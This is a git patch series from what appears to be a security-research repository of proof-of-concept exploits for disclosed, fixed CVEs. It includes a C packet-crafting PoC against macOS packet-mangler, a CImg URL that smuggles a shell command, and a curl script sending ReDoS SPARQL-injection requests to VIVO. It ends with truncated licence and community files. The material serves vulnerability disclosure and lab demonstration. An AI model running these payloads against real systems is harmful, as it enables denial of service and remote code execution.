From 25cf1b9986ffb96f32119572b398d22f1efc3f82 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 9 Oct 2018 12:12:36 +0100 Subject: [PATCH 01/14] Update PoC for Mojave --- .../cve-2017-13904-poc.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c b/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c index e50c098..f75a6bc 100644 --- a/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c +++ b/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c @@ -15,6 +15,8 @@ #include #include +#define TCP_OPT_MULTIPATH_TCP 30 + // 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation struct pseudo_header { @@ -56,6 +58,7 @@ unsigned short csum(unsigned short *ptr, int nbytes) enum Mode { InfiniteLoopMode, + InfiniteLoopMode2, SmashStackMode }; @@ -83,6 +86,9 @@ int main(int argc, char* argv[]) if (strcmp(argv[3], "infinite") == 0) { mode = InfiniteLoopMode; + } else if (strcmp(argv[3], "infinite2") == 0) { + mode = InfiniteLoopMode2; + printf("infinite2\n"); } else if (strcmp(argv[3], "smashstack") == 0) { mode = SmashStackMode; payloadsize = 1000; @@ -117,9 +123,12 @@ int main(int argc, char* argv[]) data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr); memset(data, 1, payloadsize); - if (mode != SmashStackMode) { + if (mode == InfiniteLoopMode) { data[0] = 2; data[1] = 0; + } else if (mode == InfiniteLoopMode2) { + data[0] = TCP_OPT_MULTIPATH_TCP; + data[1] = 0; } // some address resolution From 72d98a1e337921b21cedeab444986ca52f4bb17d Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 21 Nov 2018 10:12:11 +0000 Subject: [PATCH 02/14] Update README. It is no longer true that we cannot pop a calculator from docker. --- Apache/Struts/CVE-2018-11776/README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Apache/Struts/CVE-2018-11776/README.md b/Apache/Struts/CVE-2018-11776/README.md index 8b72b01..adebed3 100644 --- a/Apache/Struts/CVE-2018-11776/README.md +++ b/Apache/Struts/CVE-2018-11776/README.md @@ -6,7 +6,7 @@ To demonstrate the PoC in a safe environment, we will use two docker containers We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed. -Because we have Struts running in docker with no graphics, it isn't convenient to pop a calculator. So, instead, we will use the vulnerability to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify this PoC to do that. +We have created two versions of the PoC. The first version enables the attacker to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify the PoC to do that. The second version of the PoC pops a calculator. ## Network setup @@ -31,6 +31,8 @@ Start the container: docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server ``` +Note: the `--publish`, `-e`, and '-v' command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator. + Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access. ``` From 9890c514aa04f45304dc758998a3ecace9159949 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 21 Nov 2018 10:15:32 +0000 Subject: [PATCH 03/14] Fix backticks. --- Apache/Struts/CVE-2018-11776/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Apache/Struts/CVE-2018-11776/README.md b/Apache/Struts/CVE-2018-11776/README.md index adebed3..e6a476a 100644 --- a/Apache/Struts/CVE-2018-11776/README.md +++ b/Apache/Struts/CVE-2018-11776/README.md @@ -31,7 +31,7 @@ Start the container: docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server ``` -Note: the `--publish`, `-e`, and '-v' command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator. +Note: the `--publish`, `-e`, and `-v` command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator. Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access. From 56c28b2bcd8ebedcb609b3e454785e8ac75d4eca Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 6 Dec 2018 12:39:56 +0000 Subject: [PATCH 04/14] Exploit PoC for command injection vulnerability in CImg. --- CImg/Dockerfile | 17 +++++++++++++++++ CImg/README.md | 23 +++++++++++++++++++++++ CImg/poc.c | 19 +++++++++++++++++++ 3 files changed, 59 insertions(+) create mode 100644 CImg/Dockerfile create mode 100644 CImg/README.md create mode 100644 CImg/poc.c diff --git a/CImg/Dockerfile b/CImg/Dockerfile new file mode 100644 index 0000000..0ddee66 --- /dev/null +++ b/CImg/Dockerfile @@ -0,0 +1,17 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y git gcc build-essential curl + +# Create user account for the attacker. +RUN adduser semmle --disabled-password + +# Copy the exploit PoC into the user's home directory. +COPY poc.c /home/semmle/poc.c +RUN chown -R semmle:semmle /home/semmle/ + +# Switch over to the 'semmle' user, since root access is no longer required +USER semmle +WORKDIR /home/semmle +RUN git clone https://framagit.org/dtschump/CImg.git +RUN cd CImg && git checkout 5bb8a03d7fed06275ddb53a56c567fb6f61aa4a4 diff --git a/CImg/README.md b/CImg/README.md new file mode 100644 index 0000000..08f64d2 --- /dev/null +++ b/CImg/README.md @@ -0,0 +1,23 @@ +# Command injection in CImg + +This is a proof of concept for a command injection vulnerability in the [CImg](http://cimg.eu/) library. The vulnerability was found by [Cristian-Alexandru Staicu](https://www.linkedin.com/in/crstaicu/), during his internship at Semmle in 2018. We reported the vulnerability to David Tschumperle, maintainer of CImg, on Jul 27, 2018. The vulnerability was fixed in version 2.3.4. + +The problem is that the `load_network` function does not do any sanitization on the url string. Internally, `load_network` calls `system`, which means that a specially crafted url can trigger code execution. Since CImg is a library, the severity of the issue depends greatly on how it is used. If anyone has written an application that calls `load_network` directly with a string that came from something like a HTTP request, then it would be a remote code execution vulnerability. + +To run the PoC, first build and run the docker image: + +```bash +docker build . -t cimg +docker run -i -t cimg +``` + +The Dockerfile clones the [CImg](https://framagit.org/dtschump/CImg.git) git repository and checks out the vulnerable version. + +Now, inside docker, compile and run the PoC as follows: + +```bash +g++ -I./CImg poc.c -o poc +./poc +``` + +Notice that the file `~/CImg-RCE` has now been created. diff --git a/CImg/poc.c b/CImg/poc.c new file mode 100644 index 0000000..bba95cd --- /dev/null +++ b/CImg/poc.c @@ -0,0 +1,19 @@ +#undef cimg_display +#define cimg_display 0 +#include "CImg.h" +using namespace cimg_library; + +// To compile and run: +// +// g++ -I./CImg poc.c -o poc +// ./poc +// +// Notice that the file ~/CImg-RCE has now been created. + +int main(int argc, char **argv) { + const char *str = "https://i.pinimg.com/originals/da/25/51/da2551d47b8ae00fa7beb583bff53236.jpg\" && touch ~/CImg-RCE && echo \""; + CImg<> img; + img.assign(str); + + return 0; +} From 363fc68efdf0c6704c8d5094b76d5916ae69985e Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 12 Dec 2018 11:09:51 +0000 Subject: [PATCH 05/14] Add PoC for CVE-2018-4460. --- .../packet_mangler_CVE-2017-13904/README.md | 4 +++- .../cve-2017-13904-poc.c | 16 +++++++++++++--- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md b/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md index 5b160f7..ea94b42 100644 --- a/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md +++ b/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md @@ -1,5 +1,7 @@ -## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249) +## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249, CVE-2018-4460) Proof-of-concept exploit for remote code execution vulnerability in the packet-mangler component of macOS: CVE-2017-13904, CVE-2018-4249. The vulnerability was fixed in macOS High Sierra 10.13.5, which was released on June 1, 2018. +Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018. + For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904). diff --git a/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c b/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c index f75a6bc..3974916 100644 --- a/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c +++ b/apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c @@ -57,9 +57,9 @@ unsigned short csum(unsigned short *ptr, int nbytes) } enum Mode { - InfiniteLoopMode, - InfiniteLoopMode2, - SmashStackMode + InfiniteLoopMode, // CVE-2017-13904 + InfiniteLoopMode2, // CVE-2018-4460 + SmashStackMode // CVE-2018-4249 }; int main(int argc, char* argv[]) @@ -75,6 +75,7 @@ int main(int argc, char* argv[]) printf("Usage: sudo ./a.out \n"); printf("Examples:\n"); printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n"); + printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite2\n"); printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n"); return 1; } @@ -85,11 +86,14 @@ int main(int argc, char* argv[]) dest_ip[sizeof(dest_ip) - 1] = '\0'; if (strcmp(argv[3], "infinite") == 0) { + // CVE-2017-13904 mode = InfiniteLoopMode; } else if (strcmp(argv[3], "infinite2") == 0) { + // CVE-2018-4460 mode = InfiniteLoopMode2; printf("infinite2\n"); } else if (strcmp(argv[3], "smashstack") == 0) { + // CVE-2018-4249 mode = SmashStackMode; payloadsize = 1000; } else { @@ -124,9 +128,13 @@ int main(int argc, char* argv[]) memset(data, 1, payloadsize); if (mode == InfiniteLoopMode) { + // Trigger bug here: + // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L966 data[0] = 2; data[1] = 0; } else if (mode == InfiniteLoopMode2) { + // Trigger bug here: + // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L993 data[0] = TCP_OPT_MULTIPATH_TCP; data[1] = 0; } @@ -158,6 +166,8 @@ int main(int argc, char* argv[]) tcph->seq = 0; tcph->ack_seq = 0; if (mode == SmashStackMode) { + // Trigger bug here: + // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L951 tcph->doff = 0; } else { tcph->doff = 0xF; From 39c57ae5763a65bd81346bbcb2530ec76bb0b1ac Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 12 Dec 2018 11:38:36 +0000 Subject: [PATCH 06/14] Add link to commit that fixed the vulnerability. --- CImg/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CImg/README.md b/CImg/README.md index 08f64d2..dea7e5f 100644 --- a/CImg/README.md +++ b/CImg/README.md @@ -1,6 +1,6 @@ # Command injection in CImg -This is a proof of concept for a command injection vulnerability in the [CImg](http://cimg.eu/) library. The vulnerability was found by [Cristian-Alexandru Staicu](https://www.linkedin.com/in/crstaicu/), during his internship at Semmle in 2018. We reported the vulnerability to David Tschumperle, maintainer of CImg, on Jul 27, 2018. The vulnerability was fixed in version 2.3.4. +This is a proof of concept for a command injection vulnerability in the [CImg](http://cimg.eu/) library. The vulnerability was found by [Cristian-Alexandru Staicu](https://www.linkedin.com/in/crstaicu/), during his internship at Semmle in 2018. We reported the vulnerability to David Tschumperle, maintainer of CImg, on Jul 27, 2018. The vulnerability was [fixed](https://github.com/dtschump/CImg/commit/5ce7a426b77f814973e56182a0e76a2b04904146) in version 2.3.4. The problem is that the `load_network` function does not do any sanitization on the url string. Internally, `load_network` calls `system`, which means that a specially crafted url can trigger code execution. Since CImg is a library, the severity of the issue depends greatly on how it is used. If anyone has written an application that calls `load_network` directly with a string that came from something like a HTTP request, then it would be a remote code execution vulnerability. From b443c7044406857cefaa3e3715cf085070fa100d Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 28 Jan 2019 12:27:35 +0000 Subject: [PATCH 07/14] Exploit PoC for SPARQL injection in VIVO. --- vivo-project/README.md | 110 +++++++++++++++++++++++++ vivo-project/vivo-attacker/Dockerfile | 15 ++++ vivo-project/vivo-attacker/post.sh | 5 ++ vivo-project/vivo-server/Dockerfile | 54 ++++++++++++ vivo-project/vivo-server/init_mysql.sh | 20 +++++ 5 files changed, 204 insertions(+) create mode 100644 vivo-project/README.md create mode 100644 vivo-project/vivo-attacker/Dockerfile create mode 100755 vivo-project/vivo-attacker/post.sh create mode 100644 vivo-project/vivo-server/Dockerfile create mode 100755 vivo-project/vivo-server/init_mysql.sh diff --git a/vivo-project/README.md b/vivo-project/README.md new file mode 100644 index 0000000..d31dbf8 --- /dev/null +++ b/vivo-project/README.md @@ -0,0 +1,110 @@ +# SPARQL Injection in VIVO + +This directory contains a proof-of-concept exploit for a SPARQL injection vulnerability in [VIVO](https://duraspace.org/vivo/). The exploit targets [this line of code](https://lgtm.com/projects/g/vivo-project/Vitro/latest/files/api/src/main/java/edu/cornell/mannlib/vitro/webapp/dao/jena/IndividualSDB.java?sort=name&dir=ASC&mode=heatmap#L155). It triggers a denial of service by generating a query containing a [ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.18.0.0/16 vivo-demo-network +``` + +## Vivo server setup + +Build the docker image: + +``` +docker build vivo-server -t vivo-server --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network vivo-demo-network --ip=172.18.0.10 -h vivo-server --publish 8000:8000 --publish 8080:8080 -i -t vivo-server +``` + +Inside the container, start VIVO. + +``` +sudo ./init_mysql.sh # password is: x +/usr/local/tomcat/bin/catalina.sh start +``` + +It seems to take Vivo at least 10 minutes to initialize itself. You can monitor its progress in this log file: + +``` +/usr/local/tomcat/logs/vivo.all.log +``` + +Vivo isn't ready until you see lines like this at the bottom of `vivo.all.log`: + +``` +2019-01-17 22:19:31,004 INFO [IndexHistory] STARTUP, 1/17/19, 10:17 PM, [] +2019-01-17 22:19:31,008 INFO [FreemarkerSetup] Freemarker templating system initialized. +2019-01-17 22:19:31,122 INFO [VClassGroupCache] VClassGroupCache added to context +2019-01-17 22:19:31,123 INFO [VClassGroupCache] VClassGroupCache set to listen to events from IndexBuilder +2019-01-17 22:19:31,126 INFO [StartupManager] Called 'contextInitialized' on all listeners. +2019-01-17 22:19:31,330 INFO [JSessionStripFilter] Filtering: no jsessionids will be generated. +``` + +At this point, you can check that Vivo is running by visiting [http://127.0.0.1:8080/vivo](http://127.0.0.1:8080/vivo) in your browser. (We exposed port 8080 on the docker container.) To login, the username is `vivo_root@mydomain.edu` and the password is `rootPassword`. + +# Tomcat debugging + +You can debug the application with Eclipse, even when it is running in docker. To do this you need to also bind port 8000 when you start docker. (This was already included in the instructions above.) + +Inside docker, start tomcat like this: + +``` +export JPDA_ADDRESS=0.0.0.0:8000 +export JPDA_TRANSPORT=dt_socket +/usr/local/tomcat/bin/catalina.sh jpda start +``` + +Next you need to get the VIVO source code on your main machine and build it. The purpose of this is primarily to get maven to download all the dependencies so that Eclipse can see them. + +``` +git clone https://github.com/vivo-project/VIVO.git +git clone https://github.com/vivo-project/Vitro.git +cd VIVO/ +mvn package -DskipTests +mvn eclipse:eclipse +``` + +Then import the VIVO and Vitro projects into Eclipse. Inside Eclipse, create a remote debug configuration, connecting to localhost:8000 (which is the default.) + +## Attacker setup + +Build the docker image: + +``` +docker build vivo-attacker -t vivo-attacker +``` + +Start the container: + +``` +docker run --rm --network vivo-demo-network --ip=172.18.0.11 -h vivo-attacker -i -t vivo-attacker +``` + +Inside the container, use `post.sh` to send 8 malicious request to VIVO. + +``` +./post.sh +``` + +The `curl` command inside `post.sh` never receives a response from the VIVO server, so you will see 8 timeout error messages on the command line: + +``` +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received +``` + +VIVO is now hogging 8 CPU cores. diff --git a/vivo-project/vivo-attacker/Dockerfile b/vivo-project/vivo-attacker/Dockerfile new file mode 100644 index 0000000..3f242b8 --- /dev/null +++ b/vivo-project/vivo-attacker/Dockerfile @@ -0,0 +1,15 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y curl tmux emacs net-tools ssh sudo + +# Create user account for the attacker. +RUN adduser attacker --disabled-password + +# Copy the exploit PoC into the attacker's home directory. +COPY post.sh /home/attacker/post.sh +RUN chown attacker:attacker /home/attacker/post.sh + +# Switch over to the 'attacker' user, since root access is no longer required +USER attacker +WORKDIR /home/attacker diff --git a/vivo-project/vivo-attacker/post.sh b/vivo-project/vivo-attacker/post.sh new file mode 100755 index 0000000..d39eed1 --- /dev/null +++ b/vivo-project/vivo-attacker/post.sh @@ -0,0 +1,5 @@ +#!/bin/bash +for i in {1..8} +do + curl -m 1 http://172.18.0.10:8080/vivo/individual?uri=http%3A%2F%2Fvivoweb.org%2Fontology%2Fcore%23FacultyMember%3E%20%3Fp%20%3Fo%20.%20FILTER%20regex%28%22aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%21%22%2C%20%22%28.%2Aa%29%7B50%7D%22%29%20%7D%20%23%20 +done diff --git a/vivo-project/vivo-server/Dockerfile b/vivo-project/vivo-server/Dockerfile new file mode 100644 index 0000000..337cb6d --- /dev/null +++ b/vivo-project/vivo-server/Dockerfile @@ -0,0 +1,54 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + maven git curl wget zip unzip mysql-server \ + tmux sudo emacs maven openssh-server net-tools x11-apps \ + default-jdk openjdk-11-dbg + +# Workaround for https://serverfault.com/questions/870568 +# VOLUME /var/lib/mysql + +ARG UID=1000 + +# Create a non-root user account to run Struts. +RUN adduser vivo --disabled-password --uid $UID + +# Grant the 'vivo' user sudo access, so that we can start sshd. +RUN adduser vivo sudo +RUN echo "vivo:x" | chpasswd + +# Get Tomcat. +RUN cd /tmp && \ + wget http://www-eu.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/apache-tomcat-9.0.14.tar.gz && \ + tar xf apache-tomcat-9.0.14.tar.gz && \ + mv apache-tomcat-9.0.14 /usr/local/tomcat && \ + rm apache-tomcat-9.0.14.tar.gz + +COPY init_mysql.sh /home/vivo/init_mysql.sh +RUN chown vivo:vivo /home/vivo/init_mysql.sh + +RUN mkdir -p /usr/local/vivo/home +RUN chown -R vivo:vivo /usr/local/tomcat +RUN chown -R vivo:vivo /usr/local/vivo + +# Switch over to the 'vivo' user, since root access is no longer required +USER vivo +WORKDIR /home/vivo + +# Create an ssh authorized keys file. Systems administrators would add their +# public key to this file so that they can login remotely with ssh. +RUN mkdir -m 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys + +# Get Vivo source code. +RUN git clone https://github.com/vivo-project/Vitro.git Vitro +RUN cd Vitro && git checkout 6e717446b4a1b3da0fcf0130f3d0cfd1ce8b75ed +RUN git clone https://github.com/vivo-project/VIVO.git VIVO +RUN cd VIVO && git checkout 3da53e27fe1020ffd3157d288f6fe39ec15f87b2 + +# Build Vivo. +RUN cd VIVO && mvn install -s installer/example-settings.xml + +RUN cd /usr/local/vivo/home/config && \ + cp example.runtime.properties runtime.properties && \ + cp example.applicationSetup.n3 applicationSetup.n3 diff --git a/vivo-project/vivo-server/init_mysql.sh b/vivo-project/vivo-server/init_mysql.sh new file mode 100755 index 0000000..6151a34 --- /dev/null +++ b/vivo-project/vivo-server/init_mysql.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +if [[ $EUID -ne 0 ]]; then + echo "This script must be run as root" + exit 1 +fi + +# Workaround for this issue: https://serverfault.com/questions/870568 +chown -R mysql:mysql /var/lib/mysql + +service mysql start + +Commands=$(cat < Date: Mon, 4 Feb 2019 15:12:21 +0000 Subject: [PATCH 08/14] CVE-2019-6986 --- vivo-project/{ => CVE-2019-6986}/README.md | 4 ++-- vivo-project/{ => CVE-2019-6986}/vivo-attacker/Dockerfile | 0 vivo-project/{ => CVE-2019-6986}/vivo-attacker/post.sh | 0 vivo-project/{ => CVE-2019-6986}/vivo-server/Dockerfile | 0 vivo-project/{ => CVE-2019-6986}/vivo-server/init_mysql.sh | 0 5 files changed, 2 insertions(+), 2 deletions(-) rename vivo-project/{ => CVE-2019-6986}/README.md (87%) rename vivo-project/{ => CVE-2019-6986}/vivo-attacker/Dockerfile (100%) rename vivo-project/{ => CVE-2019-6986}/vivo-attacker/post.sh (100%) rename vivo-project/{ => CVE-2019-6986}/vivo-server/Dockerfile (100%) rename vivo-project/{ => CVE-2019-6986}/vivo-server/init_mysql.sh (100%) diff --git a/vivo-project/README.md b/vivo-project/CVE-2019-6986/README.md similarity index 87% rename from vivo-project/README.md rename to vivo-project/CVE-2019-6986/README.md index d31dbf8..d2a8553 100644 --- a/vivo-project/README.md +++ b/vivo-project/CVE-2019-6986/README.md @@ -1,6 +1,6 @@ -# SPARQL Injection in VIVO +# SPARQL Injection in VIVO (CVE-2019-6986) -This directory contains a proof-of-concept exploit for a SPARQL injection vulnerability in [VIVO](https://duraspace.org/vivo/). The exploit targets [this line of code](https://lgtm.com/projects/g/vivo-project/Vitro/latest/files/api/src/main/java/edu/cornell/mannlib/vitro/webapp/dao/jena/IndividualSDB.java?sort=name&dir=ASC&mode=heatmap#L155). It triggers a denial of service by generating a query containing a [ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +This directory contains a proof-of-concept exploit for a SPARQL injection vulnerability in [VIVO](https://duraspace.org/vivo/). This vulnerability has been assigned [CVE-2019-6986](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6986). The exploit targets [this line of code](https://github.com/vivo-project/Vitro/blob/6e717446b4a1b3da0fcf0130f3d0cfd1ce8b75ed/api/src/main/java/edu/cornell/mannlib/vitro/webapp/dao/jena/IndividualSDB.java#L155). It triggers a denial of service by generating a query containing a [ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). ## Network setup diff --git a/vivo-project/vivo-attacker/Dockerfile b/vivo-project/CVE-2019-6986/vivo-attacker/Dockerfile similarity index 100% rename from vivo-project/vivo-attacker/Dockerfile rename to vivo-project/CVE-2019-6986/vivo-attacker/Dockerfile diff --git a/vivo-project/vivo-attacker/post.sh b/vivo-project/CVE-2019-6986/vivo-attacker/post.sh similarity index 100% rename from vivo-project/vivo-attacker/post.sh rename to vivo-project/CVE-2019-6986/vivo-attacker/post.sh diff --git a/vivo-project/vivo-server/Dockerfile b/vivo-project/CVE-2019-6986/vivo-server/Dockerfile similarity index 100% rename from vivo-project/vivo-server/Dockerfile rename to vivo-project/CVE-2019-6986/vivo-server/Dockerfile diff --git a/vivo-project/vivo-server/init_mysql.sh b/vivo-project/CVE-2019-6986/vivo-server/init_mysql.sh similarity index 100% rename from vivo-project/vivo-server/init_mysql.sh rename to vivo-project/CVE-2019-6986/vivo-server/init_mysql.sh From fe686785477eb167eca7a12e14b01ddd4ac39ec5 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 6 Feb 2019 14:57:35 +0000 Subject: [PATCH 09/14] Make LICENSE, COPYRIGHT, CONTRIBUTING.md, and CODE_OF_CONDUCT.md consistent with other Semmle repositories. --- CODE_OF_CONDUCT.md | 39 ++++++++++ CONTRIBUTING.md | 46 ++++++++++++ COPYRIGHT | 13 ++++ LICENSE | 176 +++++++++++++++++++++++++++++++++++++++++++++ LICENSE.md | 13 ---- NOTICE.md | 2 - 6 files changed, 274 insertions(+), 15 deletions(-) create mode 100644 CODE_OF_CONDUCT.md create mode 100644 CONTRIBUTING.md create mode 100644 COPYRIGHT create mode 100644 LICENSE delete mode 100644 LICENSE.md delete mode 100644 NOTICE.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..ed69d4a --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,39 @@ +# Code of Conduct + +This code of conduct outlines expectations for participation in the Semmle open source community, including any open source repositories on GitHub.com, as well as steps for reporting unacceptable behavior. We are committed to providing a welcoming and inspiring community for all. + +People violating this code of conduct may be banned from the community. + +Our community strives to: +* Be friendly and patient: Remember you might not be communicating in someone else’s primary spoken or programming language, and others may not have your level of understanding. +* Be welcoming: Our community welcomes and supports people of all backgrounds and identities. This includes, but is not limited to members of any race, ethnicity, culture, national origin, color, immigration status, social and economic class, educational level, sex, sexual orientation, gender identity and expression, age, size, family status, political belief, religion, and mental and physical ability. +* Be respectful: We are a world-wide community of professionals, and we conduct ourselves professionally. Disagreement is no excuse for poor behavior and poor manners. Disrespectful and unacceptable behavior includes, but is not limited to: + * Violent threats or language. + * Discriminatory or derogatory jokes and language. + * Posting sexually explicit or violent material. + * Posting, or threatening to post, people’s personally identifying information (“doxing”). + * Insults, especially those using discriminatory terms or slurs. + * Behavior that could be perceived as sexual attention. +* Advocating for or encouraging any of the above behaviors. +* Understand disagreements: Disagreements, both social and technical, are useful learning opportunities. Seek to understand others’ viewpoints and resolve differences constructively. + +This code is not exhaustive or complete. It serves to capture our common understanding of a productive, collaborative environment. We expect the code to be followed in spirit as much as in the letter. + +# Scope + +This code of conduct applies to all repositories and communities for Semmle open source projects, regardless of whether or not the repository explicitly calls out its use of this code. The code also applies in public spaces when an individual is representing the Semmle open source community. Examples include using an official project email address, posting via an official social media account, or acting as an appointed representative at an online or offline event. + + +# Reporting Code of Conduct Issues +We encourage members of the community to resolve issues on their own whenever possible. This builds a broader and deeper understanding and ultimately a healthier interaction. In the event that an issue cannot be resolved locally, please feel free to report your concerns by contacting code-of-conduct@semmle.com. +In your report please include: +* Your contact information. +* Names (real, usernames or pseudonyms) of any individuals involved. If there are additional witnesses, please include them as well. +* Your account of what occurred, and if you believe the incident is ongoing. If there is a publicly available record (e.g. a mailing list archive or a public chat log), please include a link or attachment. +* Any additional information that may be helpful. + +All reports will be reviewed by a multi-person team and will result in a response that is deemed necessary and appropriate to the circumstances. Where additional perspectives are needed, the team may seek insight from others with relevant expertise or experience. The confidentiality of the person reporting the incident will be kept at all times. Involved parties are never part of the review team. + +Anyone asked to stop unacceptable behavior is expected to comply immediately. If an individual engages in unacceptable behavior, the review team may take any action they deem appropriate, including a permanent ban from the community. + +*This text is licensed under the [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/) license. It is based on a template established by the [TODO Group](http://todogroup.org/) and variants thereof used by numerous other large communities (e.g., [Microsoft](https://microsoft.github.io/codeofconduct/), [Facebook](https://code.fb.com/codeofconduct/), [Yahoo](https://yahoo.github.io/codeofconduct), [Twitter](https://github.com/twitter/code-of-conduct), [GitHub](https://blog.github.com/2015-07-20-adopting-the-open-code-of-conduct/)) and the Scope section from the [Contributor Covenant version 1.4](http://contributor-covenant.org/version/1/4/).* diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7e7620e --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,46 @@ +# Contributing to Semmle open-source projects + +We welcome contributions to our project. If you have an idea or a bugfix then please go ahead an open a Pull Request! + +Before we accept your pull request, we will require that you have agreed to our Contributor License Agreement. This is not something that you need to do before you submit your pull request, but until you've done so, we will be unable to accept your contribution. + +## Using your personal data + +If you contribute to this project, we will record your name and email +address (as provided by you with your contributions) as part of the code +repositories, which might be made public. We might also use this information +to contact you in relation to your contributions, as well as in the +normal course of software development. We also store records of your +CLA agreements. Under GDPR legislation, we do this +on the basis of our legitimate interest in creating the QL product. + +Please do get in touch (privacy@semmle.com) if you have any questions about +this or our data protection policies. + +## Contributor License Agreement + +This Contributor License Agreement (“Agreement”) is entered into between Semmle Limited (“Semmle,” “we” or “us” etc.), and You (as defined and further identified below). + +Accordingly, You hereby agree to the following terms for Your present and future Contributions submitted to Semmle: + +1. **Definitions**. + + * "You" (or "Your") shall mean the Contribution copyright owner (whether an individual or organization) or legal entity authorized by the 